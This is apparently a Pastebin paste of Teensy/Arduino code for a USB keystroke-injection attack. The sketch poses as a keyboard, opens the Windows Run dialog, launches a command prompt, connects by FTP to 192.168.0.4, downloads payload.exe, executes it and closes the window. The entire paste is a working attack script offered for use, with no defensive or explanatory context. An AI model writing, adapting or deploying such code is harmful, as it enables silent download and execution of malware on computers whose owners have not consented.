Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- void setup()
- {
- delay(3500);
- CommandAtRunBar("cmd"); // Open command prompt
- delay(1500);
- Echo("ftp 192.168.0.4"); Enter(); // FTP to 192.168.0.4
- delay(500);
- Echo("teensy"); Enter(); // Username
- Enter(); // Password
- Echo("get payload.exe"); Enter(); // Get [filename]
- delay(100);
- Echo("bye"); Enter(); // Exit ftp
- Echo("payload.exe"); Enter(); // Execute payload.exe
- delay(2000);
- Echo("exit"); Enter(); // Exit command prompt
- }
- void loop()
- {}
- void CommandAtRunBar(char *SomeCommand){
- Keyboard.set_modifier(128); //Windows key
- Keyboard.set_key1(KEY_R); // use r key
- Keyboard.send_now(); // send strokes
- Keyboard.set_modifier(0); //prep release of control keys
- Keyboard.set_key1(0); //have to do this to keep it from hitting key multiple times.
- Keyboard.send_now(); //Send the key changes
- delay(1500);
- Keyboard.print(SomeCommand);
- Keyboard.set_key1(KEY_ENTER);
- Keyboard.send_now();
- Keyboard.set_key1(0);
- Keyboard.send_now();
- }
- void Echo(char *string)
- {
- Keyboard.print(string);
- }
- void Enter()
- {
- Keyboard.set_key1(KEY_ENTER);
- Keyboard.send_now();
- Keyboard.set_key1(0);
- Keyboard.send_now();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement